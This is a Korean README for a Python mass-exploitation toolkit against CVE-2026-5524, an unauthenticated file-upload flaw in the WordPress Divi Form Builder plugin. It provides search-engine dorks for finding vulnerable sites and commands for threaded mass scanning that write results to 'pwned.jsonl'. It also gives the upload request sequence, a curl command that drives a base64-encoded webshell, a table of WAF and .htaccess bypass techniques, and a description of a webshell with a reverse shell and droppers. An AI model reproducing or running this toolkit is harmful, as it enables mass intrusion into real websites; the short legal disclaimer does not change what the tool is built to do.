
CVE-2026-5524에 대한 Python 대량 익스플로잇 툴킷으로, WordPress Divi Form Builder 플러그인의 인증되지 않은 파일 업로드 RCE 취약점을 이용하며, 웹셸 업로드와 명령 실행 기능을 제공합니다.
WordPress 플러그인 Divi Form Builder <= 5.1.8의 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-5524를 위한 대량 익스플로잇 툴킷으로, 원격 코드 실행으로 이어집니다.
| Field | Value |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Divi Form Builder <= 5.1.8 |
| Patched | 5.1.9 |
| Type | Unauthenticated File Upload to RCE |
| Researcher | 0xd4rk5id3 - EnvoraSec |
WordPress용 Divi Form Builder 플러그인에는 인증되지 않은 임의 파일 업로드 취약점이 존재합니다. do_image_upload() 핸들러는 사용자가 제어하는 acceptFileTypes POST 파라미터를 파일 확장자 검증에 사용되는 정규식에 직접 전달합니다. phtml과 같은 값을 제공함으로써 공격자는 .php 확장자만 차단하는 플러그인의 .htaccess 규칙을 우회하고 PHP로 실행 가능한 확장자(.phtml, .phar, .php5, .php7 등)를 가진 웹셸을 업로드할 수 있습니다.
파일이 /wp-content/uploads/de_fb_uploads/에 저장되면 Apache가 이를 PHP로 실행하여 공격자에게 웹 서버 사용자 권한으로 원격 코드 실행을 부여합니다.
이 문제는 Divi Form Builder 5.1.9에서 수정되었습니다.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
요구 사항: Linux, macOS 또는 WSL에서 Python 3.8 이상.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF(NinjaFirewall, Wordfence, ModSecurity) 뒤에 있거나 Apache 또는 nginx 구성이 강화된 대상을 위한 것입니다.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
업로드가 성공한 후 스크립트는 즉시 명령을 실행하거나 대화형 셸로 진입할 수 있습니다.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
취약한 핸들러는 정제 없이 사용자 입력으로부터 정규식을 구성합니다.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml을 전송하면 결과 정규식 /\.(phtml)$/i가 .phtml로 끝나는 파일 이름과 일치하게 되며, 플러그인 자체의 .htaccess 파일이 .php 확장자만 차단하더라도 마찬가지입니다. 그런 다음 Apache가 업로드된 파일을 PHP로 실행하여 원격 코드 실행이 발생합니다.
Divi Form Builder 폼이 포함된 페이지(/, /contact, /quote 등)를 크롤링합니다. ?nocache=<random> 파라미터를 추가하여 Varnish, WP Rocket 및 기타 페이지 캐시가 오래된 nonce를 제공하는 것을 방지합니다.
지역화된 JavaScript 객체에서 fb_nonce 값을 추출합니다:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
다음을 포함하여 /wp-admin/admin-ajax.php에 멀티파트 폼을 POST합니다:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSON 응답에서 파일 URL을 읽습니다:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
base64로 인코딩된 명령으로 셸을 요청합니다:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
스크립트는 우선순위 순서대로 각 기법을 시도하며, --aggressive가 설정된 경우 첫 업로드가 성공을 보고한 후에도 모든 기법을 시도합니다.
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
이 도구는 교육 목적 및 승인된 침투 테스트 수행 중 사용을 위해 제공됩니다. 허용 가능한 사용의 예는 다음과 같습니다:
소유하지 않았거나 테스트에 대한 명시적 서면 허가가 없는 시스템에 대한 무단 사용은 거의 모든 관할권에서 불법이며 엄격히 금지됩니다. 저자는 이 코드의 오용을 용인하지 않으며 이에 대한 책임을 지지 않습니다.
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
관련될 가능성이 있는 법률로는 인도네시아의 UU ITE, 미국의 컴퓨터 사기 및 남용법(Computer Fraud and Abuse Act), 유럽연합 사이버 범죄 협약 및 기타 지역의 동등한 법률이 있습니다. 의문이 들 경우 먼저 서면 승인을 받으십시오.
교육용으로만 사용하십시오. 전체 사용 약관은 면책 조항 섹션을 참조하십시오.
| Flag | Description |
|---|
-u URL | 단일 대상 URL |
-l FILE | 한 줄에 하나의 URL이 포함된 대상 목록 파일 |
-t N | 동시 스레드 수 (기본값 10) |
--timeout N | 요청 타임아웃(초) (기본값 15) |
-o FILE | 결과를 JSONL 출력 파일로 저장 |
--proxy URL | HTTP 프록시를 통해 트래픽 라우팅 |
--nonce HASH | 수동으로 제공된 nonce 사용, 자동 감지 건너뛰기 |
--ext EXT | 전체 우회 목록 대신 단일 확장자 강제 |
--shell | 성공 시 대화형 RCE 셸로 진입 (단일 대상만 해당) |
--cmd CMD | 대상에서 하나의 명령을 실행한 후 종료 |
--shell-file FILE | 내장 셸 대신 사용자 정의 셸 페이로드 업로드 |
--no-verify | 업로드 후 RCE 검증 단계 건너뛰기 |
--strict-verify | 셸 URL이 HTTP 200을 반환하는지 확인하여 오탐 필터링 |
--user-ini | PHP-FPM 환경을 위한 .user.ini 드로퍼 업로드 |
--htaccess | Apache 환경을 위한 .htaccess 재활성화 파일 업로드 |
--aggressive | 사용 가능한 모든 우회 기법 활성화 |
--null-byte | 널 바이트 및 이중 확장자 시도 포함 |
--path-traversal | /uploads/YYYY/MM/ 하위 디렉터리로 업로드 시도 |
--debug | 진단을 위해 원시 HTTP 응답 출력 |
| # | Technique | Targets |
|---|
| 1 | 대체 PHP 확장자 .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | .php만 차단하는 플러그인 .htaccess 규칙 |
| 2 | 대소문자 변형 .PHTML, .PHP5, .PhTmL | 대소문자를 구분하는 WAF 시그니처 (NinjaFirewall) |
| 3 | 이중 확장자 .phtml.jpg, .php.jpg | Apache mod_mime 콘텐츠 협상 특성 |
| 4 | 널 바이트 .php%00.jpg, .phtml%00.txt | 구버전 PHP (5.3.4 미만) 및 특정 파서 |
| 5 | 후행 공백 또는 점 .php , .php. | Windows IIS 및 구버전 Apache |
| 6 | Content-Type 스푸핑 application/octet-stream | 멀티파트 Content-Type 헤더를 기준으로 하는 WAF |
| 7 | .gif, .png, .jpg, .txt, .html 등에 대해 PHP를 재활성화하는 실제 .htaccess 업로드 | AllowOverride All이 설정된 Apache 서버 |
| 8 | auto_prepend_file이 포함된 .user.ini 업로드 | PHP-FPM 환경 |
| 9 | 멀티파트 경계 조작을 통한 파일 이름 주입 | 요청 본문을 재파싱하는 프록시 및 WAF |
| 10 | 파일 이름의 경로 순회 ../shell.phtml | 플러그인 디렉터리 제한 |
| Component | Technology |
|---|
| Language | Python 3.8+ |
| HTTP client | requests |
| TLS handling | 자체 서명 인증서를 위한 urllib3 비보안 모드 |
| Concurrency | 대량 스캔을 위한 concurrent.futures.ThreadPoolExecutor |
| Parsing | nonce 추출을 위한 re, 응답 처리를 위한 json |
| Encoding | 웹셸 명령 파라미터를 위한 base64 |
| CLI | 19개의 구성 가능한 플래그가 있는 argparse |
| Component | Technology |
|---|
| Language | PHP 7.0+ |
| Execution functions | system(), shell_exec(), proc_open(), passthru(), popen() |
| Front end | 일반 HTML 폼, JavaScript 프레임워크 없음 |
| Features | 파일 브라우저, 명령 실행, 데이터베이스 접근, 리버스 셸, 자체 설치 .htaccess 및 .user.ini |
| Size | 약 16 KB |
| Bypass layers | 6개의 독립적인 실행 경로와 인코딩된 페이로드 |